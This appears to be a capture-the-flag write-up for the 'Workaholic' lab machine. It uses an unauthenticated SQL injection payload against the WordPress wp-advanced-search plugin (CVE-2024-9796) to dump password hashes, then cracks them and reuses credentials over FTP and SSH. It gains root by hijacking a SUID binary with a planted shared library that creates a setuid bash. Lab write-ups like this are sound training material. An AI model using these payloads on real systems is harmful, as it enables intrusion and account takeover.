Skip to content

Workaholic Writeup - Proving Grounds

Intermediate Linux

Created October 8, 2026 • Last updated October 8, 2026 • 3 min read

Workaholic runs WordPress with a vulnerable search plugin whose unauthenticated SQL injection (CVE-2024-9796) dumps the user password hashes. Cracking one gets FTP access to wp-config.php, whose database password is reused for SSH. From there, a custom SUID binary loads a shared library from a world-writable home directory, which is enough to run arbitrary code as root.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -n -sC -sV -p- --open $TARGET_IP
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3
80/tcp open  http    nginx 1.24.0 (WordPress 6.7.2)
Explain command
-p- Scan all 65535 TCP ports.
-sC -sV Run default scripts and probe service versions.

WordPress 6.7.2 on nginx. Manual inspection turns up three users: admin, charlie, ted, plus the wp-advanced-search plugin.

Plugin discovery

Confirm the plugin version from its readme.

┌──(kali㉿kali)-[~]
└─$ curl -s "http://$TARGET_IP/wp-content/plugins/wp-advanced-search/readme.txt" | head -20
=== WP Advanced Search ===
Stable tag: 3.3.8

wp-advanced-search <= 3.3.8 has an unauthenticated SQL injection, CVE-2024-9796.

Exploitation

CVE-2024-9796: unauthenticated SQLi

The vulnerable parameter is t=, the table name passed into the autocompletion query, not the q= search term it looks like at first glance. Inject a UNION through it to pull user password hashes.

┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP/wp-content/plugins/wp-advanced-search/class.inc/autocompletion/autocompletion-PHP5.5.php?q=admin&t=wp_users%20UNION%20SELECT%20user_pass%20FROM%20wp_users--&f=user_login&type=&e="
admin
charlie
ted
$P$BDJMoAKLzyLPtatN/WQrbPgHVMmNFn.
$P$Bd.FfZuysLq8evJ/C6xxWtSB1Ne00p.
$P$BT6Spj.qANCaKd4WR1JGMnC4X.1Kuy/

If that filename 404s, the server may expect autocompletion.php instead depending on its PHP version, or the request may need to go through admin-ajax.php if nginx isn't routing PHP in the plugin subdirectory directly.

Cracking the hashes

These are WordPress phpass hashes (hashcat mode 400).

┌──(kali㉿kali)-[~]
└─$ hashcat -m 400 hashes.txt /usr/share/wordlists/rockyou.txt
$P$Bd.FfZuysLq8evJ/C6xxWtSB1Ne00p.:$TED_PASSWORD
Explain command
-m 400 Hash mode for WordPress phpass ($P$/$H$) hashes.

Ted's hash cracks. Use it over FTP to pull the WordPress config.

┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ User: ted
┌──(kali㉿kali)-[~]
└─$ Password: $TED_PASSWORD
┌──(kali㉿kali)-[~]
└─$ get wp-config.php
226 Transfer complete.

The config leaks the database password.

define( 'DB_USER', 'wpadmin' );
define( 'DB_PASSWORD', '$WPADMIN_PASSWORD' );

Try that password against the other known user over SSH.

┌──(kali㉿kali)-[~]
└─$ ssh charlie@$TARGET_IP
charlie@workaholic:~$ cat ~/local.txt

It's reused directly for charlie's SSH login.

Privilege Escalation

SUID binary and shared library hijacking

Look for unusual SUID binaries.

┌──(kali㉿kali)-[~]
└─$ find / -perm -u=s -type f 2>/dev/null | grep -v snap
/var/www/html/wordpress/blog/wp-monitor
Explain command
-perm -u=s Match files with the setuid bit set.

A custom SUID binary sitting inside the WordPress install, not a standard system path, is an immediate red flag. Check what it loads.

┌──(kali㉿kali)-[~]
└─$ file /var/www/html/wordpress/blog/wp-monitor
┌──(kali㉿kali)-[~]
└─$ strings /var/www/html/wordpress/blog/wp-monitor | grep -i lib
setuid ELF 64-bit LSB pie executable, x86-64, dynamically linked
/home/ted/.lib/libsecurity.so
[!] Function not found in the library!
dlopen@GLIBC_2.34
dlsym@GLIBC_2.34

The binary dlopens /home/ted/.lib/libsecurity.so and looks up a function called init_plugin with dlsym. Neither the directory nor the library exist yet, and ted's home directory turns out to be world-writable.

┌──(kali㉿kali)-[~]
└─$ ls -ld /home/ted
drwxrwxrwx 5 ted ted 4096 ... /home/ted

Create the expected directory and plant a malicious library exporting that exact function name.

┌──(kali㉿kali)-[~]
└─$ mkdir -p /home/ted/.lib
#include <stdlib.h>
#include <unistd.h>
void init_plugin() {
    setuid(0);
    setgid(0);
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
┌──(kali㉿kali)-[~]
└─$ gcc -fPIC -shared -o /home/ted/.lib/libsecurity.so /home/ted/.lib/libsecurity.c
Explain command
-fPIC -shared Compile position-independent code into a shared library.

Run the SUID binary; it loads the planted library and calls init_plugin() as root.

┌──(kali㉿kali)-[~]
└─$ /var/www/html/wordpress/blog/wp-monitor
bash-5.1# whoami
root

References